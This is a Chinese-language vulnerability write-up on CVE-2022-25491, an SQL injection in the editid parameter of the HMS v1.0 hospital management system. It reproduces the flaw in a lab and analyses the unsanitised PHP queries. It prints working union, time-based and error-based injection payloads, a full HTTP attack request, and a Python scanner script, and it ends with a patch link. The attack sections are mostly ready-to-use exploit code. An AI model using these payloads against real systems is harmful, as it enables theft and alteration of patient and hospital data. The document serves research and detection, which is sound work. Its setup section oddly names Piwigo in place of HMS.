HMS v1.0 appointment.php editid参数 SQL注入漏洞(CVE-2022-25491)漏洞研究
0x01 漏洞相关信息
产品介绍
HMS是孟加拉国Kabir Khyrul个人开发者的一种基于计算机或网络的医院管理系统。有助于管理医院或任何医疗机构的运作。
漏洞概述
2022年3月15日,CVE收录了编号CVE-2022-25491漏洞,该漏洞为在HMS v1.0版本中存在SQL注入漏洞,该漏洞允许攻击者通过手动调试appointment.php文件中的editid软件参数进行SQL注入攻击。
项目 | 参数 |
---|---|
漏洞名称 | HMS v1.0 appointment.php editid参数 SQL注入漏洞(CVE-2022-25491) |
漏洞编号 | CVE-2022-25491 |
漏洞类型 | SQL注入 |
发现时间 | 2022-03-15 |
CVSS3.1等级 | 7.5(高危) |
0x02 环境复现
phpstudy搭建环境
这里使用phpstudy v8.1.1.3进行环境复现,Piwigo v12.2.0自行从官网下载搭建,将解压文件直接放在WWW目录下,这里使用Apache v2.4.39+MySQL v5.7.26+php v7.3.4nts+HMS v1.0
。
安装HMS v1.0
从该作者的github网站(https://github.com/kabirkhyrul/HMS/tree/1.0
)中下载到资源文件,将其解压放在服务器的WWW目录下,数据库导入目录中hms.sql数据库,打开目录下的dbconnection.php文件,在其中配置数据库的连接,到这里,浏览器就能正常访问了,可以尝试使用(用户:admin/密码:123456789
)进行登录测试。
$con=mysqli_connect("localhost","root","123456","hms");
漏洞触发点
通过CVE官网了解得到,该漏洞位置在appointment.php文件中的editid参数,这里发送Payload进行查看。
/appointment.php?editid=-1%27union%20select%201,2,3,4,5,6,7,8,9,user()%23#查看当前连接用户
union SQL注入显示数据库信息
/appointment.php?editid=-1%27union%20select%201,2,3,4,5,6,7,8,9,database()%23#查看当前连接的数据库
/appointment.php?editid=-1%27union%20select%201,2,3,4,5,6,7,8,9,version()%23#查看当前数据库版本
/appointment.php?editid=-1%27union%20select%201,2,3,4,5,6,7,8,9,@@global.version_compile_os%20from%20mysql.user%23#查看当前操作系统
/appointment.php?editid=-1%27union%20select%201,2,3,4,5,6,7,8,9,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())%23#查询所有表
http://10.0.13.239:8888/appointment.php?editid=' AND (SELECT 1223 FROM (SELECT(SLEEP(5)))PQRv) AND 'VRKL'='VRKL#基于时间的注入
0x03 漏洞分析
静态分析
appointment.php文件
通过appointment.php?editid=
可得,SQL注入问题的漏洞出在appointment.php文件中,在该文件中搜索字符串editid
,找到4处位置存在,1、2处为isset($_POST[submit])
的POST的请求,而我们发送的是GET请求,应该是3、4处的isset($_GET[editid])
,这里是进行SQL的查询方法$sql="SELECT * FROM appointment WHERE appointmentid='$_GET[editid]' ";
,并且未做过滤,导致了SQL的注入。
可以看到该文件有检测POST后检测editid参数,如果存在的话执行更新语句不存在的话执行更新和插入语句,但其中并未做相应的参数检测,所以应该也是能够进行利用的。
<?php
include("adheader.php");
include("dbconnection.php");
if(isset($_POST[submit]))
{
if(isset($_GET[editid]))
{
$sql ="UPDATE appointment SET patientid='$_POST[select4]',departmentid='$_POST[select5]',appointmentdate='$_POST[appointmentdate]',appointmenttime='$_POST[time]',doctorid='$_POST[select6]',status='$_POST[select]' WHERE appointmentid='$_GET[editid]'";
if($qsql = mysqli_query($con,$sql))
{
echo "<script>alert('appointment record updated successfully...');</script>";
}else{
echo mysqli_error($con);
}
}else{
$sql ="UPDATE patient SET status='Active' WHERE patientid='$_POST[select4]'";
$qsql=mysqli_query($con,$sql);
$sql ="INSERT INTO appointment(patientid, departmentid, appointmentdate, appointmenttime, doctorid, status, app_reason) values('$_POST[select4]','$_POST[select5]','$_POST[appointmentdate]','$_POST[time]','$_POST[select6]','$_POST[select]','$_POST[appreason]')";
if($qsql = mysqli_query($con,$sql))
{
include("insertbillingrecord.php");
echo "<script>alert('Appointment record inserted successfully...');</script>";
echo "<script>window.location='patientreport.php?patientid=$_POST[select4]';</script>";
}else{
echo mysqli_error($con);
}
}
}
if(isset($_GET[editid]))
{
$sql="SELECT * FROM appointment WHERE appointmentid='$_GET[editid]' ";
$qsql = mysqli_query($con,$sql);
$rsedit = mysqli_fetch_array($qsql);
}
?>
动态调试
断点触发
PhpStorm调试模式运行HMS v1.0,在SQL执行语句$qsql = mysqli_query($con,$sql);
处设置断点,在打开的浏览器访问/appointment.php?editid=-1%27union%20select%201,2,3,4,5,6,7,8,9,database()%23
,查看参数$sql
,可以看到这里注入的SQL语句未检测参数就执行了,从而导致了漏洞。
$sql="SELECT * FROM appointment WHERE appointmentid='-1' union select 1,2,3,4,5,6,7,8,9,database()#'"
漏洞挖掘1
在静态分析中,可以确认通过POST也能达到同样的命令执行效果,以下是测试组装的POC1,可以对其中传参作处理,构建新的注入。
$sql ="UPDATE appointment SET patientid='$_POST[select4]',departmentid='$_POST[select5]',appointmentdate='$_POST[appointmentdate]',appointmenttime='$_POST[time]',doctorid='$_POST[select6]',status='$_POST[select]' WHERE appointmentid='$_GET[editid]'";
$sql = "UPDATE appointment SET patientid='',departmentid='',appointmentdate='2022-04-19',appointmenttime='',doctorid='',status='' WHERE appointmentid='-1'union select 1,2,3,4,5,6,7,8,9,database()#'"
使用Request Maker将该语句改成以下形式,便能修改某一列的全部数据(注意:这里不能用burp)。
UPDATE appointment SET patientid='2',departmentid='2',appointmentdate='2022-04-19',appointmenttime='',doctorid='2',status='0' rlike (select (case when (1=1)then'fd'else(0x28)end))#' WHERE appointmentid='-1';
使用burp将该语句改成以下形式,便能获取当前数据库名。
UPDATE appointment SET patientid='2',departmentid='2',appointmentdate='2022-04-19',appointmenttime='',doctorid='2',status='0' and updatexml(1,concat(0x23,database()),1) or '' WHERE appointmentid='-1';
POST /appointment.php HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 162
Origin: http://127.0.0.1:8888
Connection: close
Referer: http://127.0.0.1:8888/appointment.php
Cookie: pwg_remember=1-1649924359-sRlecM69L4MAgZiVR%2BdmxkjnYQc%3D; PHPSESSID=r983njeve0rr23sfq3tpcv1rvt
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
select2=Offline&select4=1&select5=&appointmentdate=2022-04-25&time=&select6=&appreason=111&select=0' and updatexml(1,concat(0x23,database()),1) or '&submit=Submit
漏洞挖掘2
在POST请求后如果未传入editid
参数,则会运行else中的SQL语句,从而构建新的SQL注入。
$sql ="UPDATE patient SET status='Active' WHERE patientid='$_POST[select4]'";
UPDATE patient SET status='Active' WHERE patientid=''
$sql ="INSERT INTO appointment(patientid, departmentid, appointmentdate, appointmenttime, doctorid, status, app_reason) values('$_POST[select4]','$_POST[select5]','$_POST[appointmentdate]','$_POST[time]','$_POST[select6]','$_POST[select]','$_POST[appreason]')";
INSERT INTO appointment(patientid, departmentid, appointmentdate, appointmenttime, doctorid, status, app_reason) values('','','2022-04-24','','','','1212')
通过报错测试来看,这两条注入语句都成功执行了,有回显。
INSERT INTO appointment(patientid, departmentid, appointmentdate, appointmenttime, doctorid, status, app_reason) values('','','2022-04-24','','','bob' or updatexml(1,concat(0x7e,database()),0) or '','1212')//获取当前数据库名
INSERT INTO appointment(patientid, departmentid, appointmentdate, appointmenttime, doctorid, status, app_reason) values('','','2022-04-24','','','bob' or updatexml(1,concat(0x7e,version()),0) or '','1212')//获取当前数据库版本信息
0x04 漏扫插件编写
该插件先通过判断链接末尾是否携带appointment.php
文件名字符串来进行快速判断,从而提高效率,再通过延时注入判定是否存在漏洞,之后再通过version()
获取版本号信息,以正则([0-9]*).([0-9]*).([0-9]*)
匹配版本号。
import sys,requests,os,re,socket
if __name__ == "__main__":
url="http://x.x.x.x:port/appointment.php"
url_payload = url + "?editid=' AND (SELECT 1223 FROM (SELECT(SLEEP(6)))PQRv) AND 'VRKL'='VRKL"
res = requests.get(url_payload)
time = res.elapsed.total_seconds()
if res.status_code == 200 and res.content and time > 5 and time < 7:
url_payload1 = url + "?editid=-1%27union%20select%201,2,3,4,5,6,7,8,9,version()%23"
req = requests.get(url_payload1)
pattern = re.search('([0-9]*).([0-9]*).([0-9]*)',req.content)
if pattern:
print("------------CVE-2022-25491 success-------------")
0x05 解决方案
目前厂商已发布升级补丁以修复漏洞,补丁获取链接:https://github.com/kabirkhyrul/HMS/discussions/8
。
0x06 参考链接
CNNVD:http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202203-1467
Kabir Khyrul的HMS v1.0库:https://github.com/kabirkhyrul/HMS/tree/1.0